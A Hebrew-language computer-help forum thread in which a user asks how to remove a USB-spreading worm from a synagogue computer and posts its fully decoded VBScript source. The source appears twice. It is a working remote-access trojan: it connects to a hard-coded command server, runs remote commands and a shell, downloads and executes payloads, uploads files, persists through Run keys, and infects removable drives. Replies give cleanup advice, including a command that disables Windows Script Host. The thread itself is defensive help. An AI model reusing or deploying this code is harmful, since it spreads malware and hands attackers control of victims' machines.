דילוג לתוכן
  • חוקי הפורום
  • פופולרי
  • לא נפתר
  • משתמשים
  • חיפוש גוגל בפורום
  • צור קשר
עיצובים
  • Light
  • Brite
  • Cerulean
  • Cosmo
  • Flatly
  • Journal
  • Litera
  • Lumen
  • Lux
  • Materia
  • Minty
  • Morph
  • Pulse
  • Sandstone
  • Simplex
  • Sketchy
  • Spacelab
  • United
  • Yeti
  • Zephyr
  • Dark
  • Cyborg
  • Darkly
  • Quartz
  • Slate
  • Solar
  • Superhero
  • Vapor

  • ברירת מחדל (ללא עיצוב (ברירת מחדל))
  • ללא עיצוב (ברירת מחדל)
כיווץ
מתמחים טופ
  1. דף הבית
  2. מחשבים וטכנולוגיה
  3. עזרה הדדית - מחשבים וטכנולוגיה
  4. בקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי

בקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי

מתוזמן נעוץ נעול הועבר עזרה הדדית - מחשבים וטכנולוגיה
43 פוסטים 13 כותבים 472 צפיות 11 עוקבים
  • מהישן לחדש
  • מהחדש לישן
  • הכי הרבה הצבעות
תגובה
  • תגובה כנושא
התחברו כדי לפרסם תגובה
נושא זה נמחק. רק משתמשים עם הרשאות מתאימות יוכלו לצפות בו.
  • ר רנדומלי

    בחדר מחשבים שעל ידי ביתי מקנן כבר כמה חודשים וירוס מחשבים מעצבן. כדי להפיץ את עצמו הוא מעתיק את הקבצים שלו לכל כונן שמתחבר אליו. ואז מחביא את כל הקבצים שנמצאים על הדיסק באמצעות שינוי מאפייני הקובץ ל־ System file ו־ Hidden file ויוצר במקומם קיצורי דרך, אבל קיצור הדרך אינו מפנה ישירות לקובץ אלא מפעיל את הפקודה הבאה:

    cmd /c hrxxryydxo.vbs && start explorer [file name]
    

    הפקודה הזאת מתקינה את הווירוס על המחשב האומלל התורן, וכך עד אינסוף.

    לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן. ומאז המחשב הפך לבור ברשות הרבים. ניסיתי להסיר אותו בכל מיני שיטות. אודה לכל מי שנמצא בפורום ויוכל להחכים אותי האם הווירוס מחביא את עצמו במקומות שעוד לא הצלחתי להגיע אליהם. אני לא ממש מבין ב־vbs אין לי מושג מה הקוד הזה עושה, וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.

    תוך כדי ניסיונותיי להבין את הווירוס פתחתי את הקובץ hrxxryydxo.vbs ומצאתי בו רצף תווי base64 וכמה שורות קוד. מסתבר שהקוד הזדוני מקודד פעמיים באמצעות base64.

    לאחר הפענוח, מתקבל שוב רצף תווים מוזר אחר שנראה כך:

    z|44|dz|101|dz|110|dz|117|dz|109|dz|102|dz|97|dz|102|dz|32|dz|40|dz|112|dz|97|dz|114|dz|97|dz|109|dz|41|dz|13|dz|10|dz|99|dz|97|dz|115|dz|101|dz|32|dz|32|dz|34|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|13|dz|10|dz|32|dz|32|dz|32|dz|32|dz|32|dz|32|dz|112|dz|111|dz|115|dz|116|dz|32|dz|34|dz|105|dz|115|dz|45|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|44
    

    בשורות הקוד שאמורות לפענח ולהריץ את הקוד, מתברר שכל תו בקוד המקורי קודד באמצעות הפונקציה chr ובין כל תו ותו יש את צירוף התווים |dz| הקוד מבצע split ו"מתרגם" כל מספר לתו, ולאחר מכן מריץ את הקוד שנמצא.
    לאחר פיענוח הקידוד התקבל הקוד הבא:
    אם יש פה מישהו שידע להגיד לי אילו קבצים למחוק, אודה לו מאוד.

    e
    '<[ recoder : houdini (c) skype : houdini-fx ]>
    
    '=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
    
    host = "khattab.no-ip.biz"
    port = 5550
    installdir = "%temp%"
    lnkfile = true
    lnkfolder = true
    
    '=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
    
    dim shellobj 
    set shellobj = wscript.createobject("wscript.shell")
    dim filesystemobj
    set filesystemobj = createobject("scripting.filesystemobject")
    dim httpobj
    set httpobj = createobject("msxml2.xmlhttp")
    
    '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
    
    installname = wscript.scriptname
    startup = shellobj.specialfolders ("startup") & "\"
    installdir = shellobj.expandenvironmentstrings(installdir) & "\"
    if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
    spliter = "<" & "|" & ">"
    sleep = 5000 
    dim response
    dim cmd
    dim param
    info = ""
    usbspreading = ""
    startdate = ""
    dim oneonce
    
    '=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
    on error resume next
    
    instance
    while true
    
    install
    
    response = ""
    response = post ("is-ready","")
    cmd = split (response,spliter)
    select case cmd (0)
    case "excecute"
          param = cmd (1)
          execute param
    case "update"
          param = cmd (1)
          oneonce.close
          set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
          oneonce.write param
          oneonce.close
          shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
          wscript.quit 
    case "uninstall"
          uninstall
    case "send"
          download cmd (1),cmd (2)
    case "site-send"
          sitedownloader cmd (1),cmd (2)
    case "recv"
          param = cmd (1)
          upload (param)
    case  "enum-driver"
          post "is-enum-driver",enumdriver  
    case  "enum-faf"
          param = cmd (1)
          post "is-enum-faf",enumfaf (param)
    case  "enum-process"
          post "is-enum-process",enumprocess   
    case  "cmd-shell"
          param = cmd (1)
          post "is-cmd-shell",cmdshell (param)  
    case  "delete"
          param = cmd (1)
          deletefaf (param) 
    case  "exit-process"
          param = cmd (1)
          exitprocess (param) 
    case  "sleep"
          param = cmd (1)
          sleep = eval (param)        
    end select
    
    wscript.sleep sleep
    
    wend
    
    sub install
    on error resume next
    dim lnkobj
    dim filename
    dim foldername
    dim fileicon
    dim foldericon
    
    upstart
    for each drive in filesystemobj.drives
    
    if  drive.isready = true then
    if  drive.freespace  > 0 then
    if  drive.drivetype  = 1 then
        filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
        if  filesystemobj.fileexists (drive.path & "\" & installname)  then
            filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
        end if
        for each file in filesystemobj.getfolder( drive.path & "\" ).Files
            if not lnkfile then exit for
            if  instr (file.name,".") then
                if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                    file.attributes = 2+4
                    if  ucase (file.name) <> ucase (installname) then
                        filename = split(file.name,".")
                        set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk") 
                        lnkobj.windowstyle = 7
                        lnkobj.targetpath = "cmd.exe"
                        lnkobj.workingdirectory = ""
                        lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                        fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") 
                        if  instr (fileicon,",") = 0 then
                            lnkobj.iconlocation = file.path
                        else 
                            lnkobj.iconlocation = fileicon
                        end if
                        lnkobj.save()
                    end if
                end if
            end if
        next
        for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
            if not lnkfolder then exit for
            folder.attributes = 2+4
            foldername = folder.name
            set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk") 
            lnkobj.windowstyle = 7
            lnkobj.targetpath = "cmd.exe"
            lnkobj.workingdirectory = ""
            lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
            foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") 
            if  instr (foldericon,",") = 0 then
                lnkobj.iconlocation = folder.path
            else 
                lnkobj.iconlocation = foldericon
            end if
            lnkobj.save()
        next
    end If
    end If
    end if
    next
    err.clear
    end sub
    
    sub uninstall
    on error resume next
    dim filename
    dim foldername
    
    shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
    shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
    filesystemobj.deletefile startup & installname ,true
    filesystemobj.deletefile wscript.scriptfullname ,true
    
    for  each drive in filesystemobj.drives
    if  drive.isready = true then
    if  drive.freespace  > 0 then
    if  drive.drivetype  = 1 then
        for  each file in filesystemobj.getfolder ( drive.path & "\").files
             on error resume next
             if  instr (file.name,".") then
                 if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                     file.attributes = 0
                     if  ucase (file.name) <> ucase (installname) then
                         filename = split(file.name,".")
                         filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                     else
                         filesystemobj.deletefile (drive.path & "\" & file.name)
                     end If
                 else
                     filesystemobj.deletefile (file.path) 
                 end if
             end if
         next
         for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
             folder.attributes = 0
         next
    end if
    end if
    end if
    next
    wscript.quit
    end sub
    
    function post (cmd ,param)
    
    post = param
    httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
    httpobj.setrequestheader "user-agent:",information
    httpobj.send param
    post = httpobj.responsetext
    end function
    
    function information
    on error resume next
    if  inf = "" then
        inf = hwid & spliter 
        inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter 
        inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter
    
        set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
        set os = root.execquery ("select * from win32_operatingsystem")
        for each osinfo in os
           inf = inf & osinfo.caption & spliter  
           exit for
        next
        inf = inf & "plus" & spliter
        inf = inf & security & spliter
        inf = inf & usbspreading
        information = inf  
    else
        information = inf
    end if
    end function
    
    sub upstart ()
    on error resume Next
    
    shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
    shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
    filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
    filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
    
    end sub
    
    function hwid
    on error resume next
    
    set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
    set disks = root.execquery ("select * from win32_logicaldisk")
    for each disk in disks
        if  disk.volumeserialnumber <> "" then
            hwid = disk.volumeserialnumber
            exit for
        end if
    next
    end function
    
    function security 
    on error resume next
    
    security = ""
    
    set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
    set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
    for each objitem in colitems
        versionstr = split (objitem.version,".")
    next
    versionstr = split (colitems.version,".")
    osversion = versionstr (0) & "."
    for  x = 1 to ubound (versionstr)
         osversion = osversion &  versionstr (i)
    next
    osversion = eval (osversion)
    if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
    
    set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
    Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
    
    for each objantivirus in colantivirus
        security  = security  & objantivirus.displayname & " ."
    next
    if security  = "" then security  = "nan-av"
    end function
    
    function instance
    on error resume next
    
    usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
    if usbspreading = "" then
       if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
          usbspreading = "true - " & date
          shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
       else
          usbspreading = "false - " & date
          shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
    
       end if
    end If
    
    
    upstart
    set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
    set installfullnameshort =  filesystemobj.getfile (installdir & installname)
    if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then 
        shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
        wscript.quit 
    end If
    err.clear
    set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
    if  err.number > 0 then wscript.quit
    end function
    
    sub sitedownloader (fileurl,filename)
    
    strlink = fileurl
    strsaveto = installdir & filename
    set objhttpdownload = createobject("msxml2.xmlhttp" )
    objhttpdownload.open "get", strlink, false
    objhttpdownload.send
    
    set objfsodownload = createobject ("scripting.filesystemobject")
    if  objfsodownload.fileexists (strsaveto) then
        objfsodownload.deletefile (strsaveto)
    end if
     
    if objhttpdownload.status = 200 then
       dim  objstreamdownload
       set  objstreamdownload = createobject("adodb.stream")
       with objstreamdownload
            .type = 1 
            .open
            .write objhttpdownload.responsebody
            .savetofile strsaveto
            .close
       end with
       set objstreamdownload = nothing
    end if
    if objfsodownload.fileexists(strsaveto) then
       shellobj.run objfsodownload.getfile (strsaveto).shortpath
    end if 
    end sub
    
    sub download (fileurl,filedir)
    
    if filedir = "" then 
       filedir = installdir
    end if
    
    strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
    set objhttpdownload = createobject("msxml2.xmlhttp")
    objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
    objhttpdownload.send ""
         
    set objfsodownload = createobject ("scripting.filesystemobject")
    if  objfsodownload.fileexists (strsaveto) then
        objfsodownload.deletefile (strsaveto)
    end if
    if  objhttpdownload.status = 200 then
        dim  objstreamdownload
        set  objstreamdownload = createobject("adodb.stream")
        with objstreamdownload 
             .type = 1 
             .open
             .write objhttpdownload.responsebody
             .savetofile strsaveto
             .close
        end with
        set objstreamdownload  = nothing
    end if
    if objfsodownload.fileexists(strsaveto) then
       shellobj.run objfsodownload.getfile (strsaveto).shortpath
    end if 
    end sub
    
    function upload (fileurl)
    
    dim  httpobj,objstreamuploade,buffer
    set  objstreamuploade = createobject("adodb.stream")
    with objstreamuploade 
         .type = 1 
         .open
         .loadfromfile fileurl
         buffer = .read
         .close
    end with
    set objstreamdownload = nothing
    set httpobj = createobject("msxml2.xmlhttp")
    httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
    httpobj.send buffer
    end function
    
    function enumdriver ()
    
    for  each drive in filesystemobj.drives
    if   drive.isready = true then
         enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
    end if
    next
    end Function
    
    function enumfaf (enumdir)
    
    enumfaf = enumdir & spliter
    for  each folder in filesystemobj.getfolder (enumdir).subfolders
         enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
    next
    
    for  each file in filesystemobj.getfolder (enumdir).files
         enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter
    
    next
    end function
    
    function enumprocess ()
    
    on error resume next
    
    set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
    set colitems = objwmiservice.execquery("select * from win32_process",,48)
    
    dim objitem
    for each objitem in colitems
        enumprocess = enumprocess & objitem.name & "|"
        enumprocess = enumprocess & objitem.processid & "|"
        enumprocess = enumprocess & objitem.executablepath & spliter
    next
    end function
    
    sub exitprocess (pid)
    on error resume next
    
    shellobj.run "taskkill /F /T /PID " & pid,7,true
    end sub
    
    sub deletefaf (url)
    on error resume next
    
    filesystemobj.deletefile url
    filesystemobj.deletefolder url
    
    end sub
    
    function cmdshell (cmd)
    
    dim httpobj,oexec,readallfromany
    
    set oexec = shellobj.exec ("%comspec% /c " & cmd)
    if not oexec.stdout.atendofstream then
       readallfromany = oexec.stdout.readall
    elseif not oexec.stderr.atendofstream then
       readallfromany = oexec.stderr.readall
    else 
       readallfromany = ""
    end if
    
    cmdshell = readallfromany
    end function
    
    ת מנותק
    ת מנותק
    תלמידהון
    כתב נערך לאחרונה על ידי
    #18

    @רנדומלי יש לך מה להפסיד מאיפוס מלא של המחשב?

    תגובה 1 תגובה אחרונה
    0
    • ר רנדומלי

      השאלה אם גם אנטיוירוס שהוא אופליין היה מזהה אותו.
      מלבד זאת, אין על המחשב הזה עוד אנטיוירוס חוץ מדיפנדר (אבל אני מקפיד לעדכן אותו כל הזמן).

      מה שעשיתי כרגע הוא להשבית את wcscript באמצעות מנהל המשימות, ולמחוק אותו ידנית מכל מפתחות הרג'יסטרי שמופיעים בקוד.

      גם חיפשתי את שם הקובץ ב־everything ומחקתי את כל המופעים של הקובץ במחשב.

      @cfopuser האם כשמשביתים אנטיוירוס ומפעילים תוכנה כלשהי, האם תוכנה זו לא תזוהה שוב כזדונית לנצח?

      מתכנת חובבמ מנותק
      מתכנת חובבמ מנותק
      מתכנת חובב
      מדריכים
      כתב נערך לאחרונה על ידי
      #19

      @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

      האם תוכנה זו לא תזוהה שוב כזדונית לנצח?

      היא עלולה לבצע דברים - החל מהחרגות ועד לזיהום של קבצי מערכת שימנעו זיהוי עתידי שלה

      צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

      ר תגובה 1 תגובה אחרונה
      1
      • מתכנת חובבמ מתכנת חובב

        @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

        האם תוכנה זו לא תזוהה שוב כזדונית לנצח?

        היא עלולה לבצע דברים - החל מהחרגות ועד לזיהום של קבצי מערכת שימנעו זיהוי עתידי שלה

        ר מנותק
        ר מנותק
        רנדומלי
        כתב נערך לאחרונה על ידי
        #20

        @מתכנת-חובב
        השאלה היא אם הקוד הנוכחי אכן עושה זאת.
        כי המחשב הזה לא היה מחובר לרשת מאז שהוא נדבק, ועל כן לא סביר שתוקף הריץ קוד נוסף שלא גלוי לנו.

        @תלמידהון
        כנראה שלא. אבל השאלה היא אם זה שווה את המאמץ או שבעוד שבועיים זה יקרה שוב.

        ת מתכנת חובבמ 2 תגובות תגובה אחרונה
        0
        • ר רנדומלי

          @מתכנת-חובב
          השאלה היא אם הקוד הנוכחי אכן עושה זאת.
          כי המחשב הזה לא היה מחובר לרשת מאז שהוא נדבק, ועל כן לא סביר שתוקף הריץ קוד נוסף שלא גלוי לנו.

          @תלמידהון
          כנראה שלא. אבל השאלה היא אם זה שווה את המאמץ או שבעוד שבועיים זה יקרה שוב.

          ת מנותק
          ת מנותק
          תלמידהון
          כתב נערך לאחרונה על ידי
          #21

          @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

          השאלה היא אם זה שווה את המאמץ או שבעוד שבועיים זה יקרה שוב.

          אם יש לך אנטי וירוס מעודכן זה לא אמור לחזור

          תגובה 1 תגובה אחרונה
          1
          • ר רנדומלי

            @מתכנת-חובב
            השאלה היא אם הקוד הנוכחי אכן עושה זאת.
            כי המחשב הזה לא היה מחובר לרשת מאז שהוא נדבק, ועל כן לא סביר שתוקף הריץ קוד נוסף שלא גלוי לנו.

            @תלמידהון
            כנראה שלא. אבל השאלה היא אם זה שווה את המאמץ או שבעוד שבועיים זה יקרה שוב.

            מתכנת חובבמ מנותק
            מתכנת חובבמ מנותק
            מתכנת חובב
            מדריכים
            כתב נערך לאחרונה על ידי מתכנת חובב
            #22

            @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

            השאלה היא אם הקוד הנוכחי אכן עושה זאת.

            בזה ספציפית לא אבל כמובן שאם המחשב היה מחובר לאינטרנט אז אין לדעת
            לכאורה סריקה עם אנטי וירוס טוב ועיקור של הוירוס יספיקו
            תריץ את מה ששלחתי לך וזה יסיר אותו ואולי באמת להבא תשבית את wscript אבל לא יודע מה זה עלול לשבש במחשב הזה (קצת מוזר שהאנטי וירוס לא עלה על זה אם ב VT הוא כן מזהה אותו)

            צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

            ר תגובה 1 תגובה אחרונה
            0
            • מתכנת חובבמ מתכנת חובב

              @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

              השאלה היא אם הקוד הנוכחי אכן עושה זאת.

              בזה ספציפית לא אבל כמובן שאם המחשב היה מחובר לאינטרנט אז אין לדעת
              לכאורה סריקה עם אנטי וירוס טוב ועיקור של הוירוס יספיקו
              תריץ את מה ששלחתי לך וזה יסיר אותו ואולי באמת להבא תשבית את wscript אבל לא יודע מה זה עלול לשבש במחשב הזה (קצת מוזר שהאנטי וירוס לא עלה על זה אם ב VT הוא כן מזהה אותו)

              ר מנותק
              ר מנותק
              רנדומלי
              כתב נערך לאחרונה על ידי
              #23

              @מתכנת-חובב
              תהיה מוכן להסביר לי איך אני מכבה VBS?

              זה אכן יועיל לווירוס הספציפי הזה, אבל מה אם יבוא מחר ווירוס שמבוסס על CMD או PowerShell, או סתם EXE?

              מתכנת חובבמ תגובה 1 תגובה אחרונה
              0
              • ר רנדומלי

                @מתכנת-חובב
                תהיה מוכן להסביר לי איך אני מכבה VBS?

                זה אכן יועיל לווירוס הספציפי הזה, אבל מה אם יבוא מחר ווירוס שמבוסס על CMD או PowerShell, או סתם EXE?

                מתכנת חובבמ מנותק
                מתכנת חובבמ מנותק
                מתכנת חובב
                מדריכים
                כתב נערך לאחרונה על ידי
                #24

                @רנדומלי תריץ את זה כמנהל

                reg add "HKLM\Software\Microsoft\Windows Script Host\Settings" /v Enabled /t REG_DWORD /d 0 /f
                

                צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

                תגובה 1 תגובה אחרונה
                2
                • ר רנדומלי

                  בחדר מחשבים שעל ידי ביתי מקנן כבר כמה חודשים וירוס מחשבים מעצבן. כדי להפיץ את עצמו הוא מעתיק את הקבצים שלו לכל כונן שמתחבר אליו. ואז מחביא את כל הקבצים שנמצאים על הדיסק באמצעות שינוי מאפייני הקובץ ל־ System file ו־ Hidden file ויוצר במקומם קיצורי דרך, אבל קיצור הדרך אינו מפנה ישירות לקובץ אלא מפעיל את הפקודה הבאה:

                  cmd /c hrxxryydxo.vbs && start explorer [file name]
                  

                  הפקודה הזאת מתקינה את הווירוס על המחשב האומלל התורן, וכך עד אינסוף.

                  לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן. ומאז המחשב הפך לבור ברשות הרבים. ניסיתי להסיר אותו בכל מיני שיטות. אודה לכל מי שנמצא בפורום ויוכל להחכים אותי האם הווירוס מחביא את עצמו במקומות שעוד לא הצלחתי להגיע אליהם. אני לא ממש מבין ב־vbs אין לי מושג מה הקוד הזה עושה, וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.

                  תוך כדי ניסיונותיי להבין את הווירוס פתחתי את הקובץ hrxxryydxo.vbs ומצאתי בו רצף תווי base64 וכמה שורות קוד. מסתבר שהקוד הזדוני מקודד פעמיים באמצעות base64.

                  לאחר הפענוח, מתקבל שוב רצף תווים מוזר אחר שנראה כך:

                  z|44|dz|101|dz|110|dz|117|dz|109|dz|102|dz|97|dz|102|dz|32|dz|40|dz|112|dz|97|dz|114|dz|97|dz|109|dz|41|dz|13|dz|10|dz|99|dz|97|dz|115|dz|101|dz|32|dz|32|dz|34|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|13|dz|10|dz|32|dz|32|dz|32|dz|32|dz|32|dz|32|dz|112|dz|111|dz|115|dz|116|dz|32|dz|34|dz|105|dz|115|dz|45|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|44
                  

                  בשורות הקוד שאמורות לפענח ולהריץ את הקוד, מתברר שכל תו בקוד המקורי קודד באמצעות הפונקציה chr ובין כל תו ותו יש את צירוף התווים |dz| הקוד מבצע split ו"מתרגם" כל מספר לתו, ולאחר מכן מריץ את הקוד שנמצא.
                  לאחר פיענוח הקידוד התקבל הקוד הבא:
                  אם יש פה מישהו שידע להגיד לי אילו קבצים למחוק, אודה לו מאוד.

                  e
                  '<[ recoder : houdini (c) skype : houdini-fx ]>
                  
                  '=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
                  
                  host = "khattab.no-ip.biz"
                  port = 5550
                  installdir = "%temp%"
                  lnkfile = true
                  lnkfolder = true
                  
                  '=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
                  
                  dim shellobj 
                  set shellobj = wscript.createobject("wscript.shell")
                  dim filesystemobj
                  set filesystemobj = createobject("scripting.filesystemobject")
                  dim httpobj
                  set httpobj = createobject("msxml2.xmlhttp")
                  
                  '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
                  
                  installname = wscript.scriptname
                  startup = shellobj.specialfolders ("startup") & "\"
                  installdir = shellobj.expandenvironmentstrings(installdir) & "\"
                  if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
                  spliter = "<" & "|" & ">"
                  sleep = 5000 
                  dim response
                  dim cmd
                  dim param
                  info = ""
                  usbspreading = ""
                  startdate = ""
                  dim oneonce
                  
                  '=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
                  on error resume next
                  
                  instance
                  while true
                  
                  install
                  
                  response = ""
                  response = post ("is-ready","")
                  cmd = split (response,spliter)
                  select case cmd (0)
                  case "excecute"
                        param = cmd (1)
                        execute param
                  case "update"
                        param = cmd (1)
                        oneonce.close
                        set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
                        oneonce.write param
                        oneonce.close
                        shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
                        wscript.quit 
                  case "uninstall"
                        uninstall
                  case "send"
                        download cmd (1),cmd (2)
                  case "site-send"
                        sitedownloader cmd (1),cmd (2)
                  case "recv"
                        param = cmd (1)
                        upload (param)
                  case  "enum-driver"
                        post "is-enum-driver",enumdriver  
                  case  "enum-faf"
                        param = cmd (1)
                        post "is-enum-faf",enumfaf (param)
                  case  "enum-process"
                        post "is-enum-process",enumprocess   
                  case  "cmd-shell"
                        param = cmd (1)
                        post "is-cmd-shell",cmdshell (param)  
                  case  "delete"
                        param = cmd (1)
                        deletefaf (param) 
                  case  "exit-process"
                        param = cmd (1)
                        exitprocess (param) 
                  case  "sleep"
                        param = cmd (1)
                        sleep = eval (param)        
                  end select
                  
                  wscript.sleep sleep
                  
                  wend
                  
                  sub install
                  on error resume next
                  dim lnkobj
                  dim filename
                  dim foldername
                  dim fileicon
                  dim foldericon
                  
                  upstart
                  for each drive in filesystemobj.drives
                  
                  if  drive.isready = true then
                  if  drive.freespace  > 0 then
                  if  drive.drivetype  = 1 then
                      filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
                      if  filesystemobj.fileexists (drive.path & "\" & installname)  then
                          filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
                      end if
                      for each file in filesystemobj.getfolder( drive.path & "\" ).Files
                          if not lnkfile then exit for
                          if  instr (file.name,".") then
                              if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                                  file.attributes = 2+4
                                  if  ucase (file.name) <> ucase (installname) then
                                      filename = split(file.name,".")
                                      set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk") 
                                      lnkobj.windowstyle = 7
                                      lnkobj.targetpath = "cmd.exe"
                                      lnkobj.workingdirectory = ""
                                      lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                      fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") 
                                      if  instr (fileicon,",") = 0 then
                                          lnkobj.iconlocation = file.path
                                      else 
                                          lnkobj.iconlocation = fileicon
                                      end if
                                      lnkobj.save()
                                  end if
                              end if
                          end if
                      next
                      for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                          if not lnkfolder then exit for
                          folder.attributes = 2+4
                          foldername = folder.name
                          set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk") 
                          lnkobj.windowstyle = 7
                          lnkobj.targetpath = "cmd.exe"
                          lnkobj.workingdirectory = ""
                          lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                          foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") 
                          if  instr (foldericon,",") = 0 then
                              lnkobj.iconlocation = folder.path
                          else 
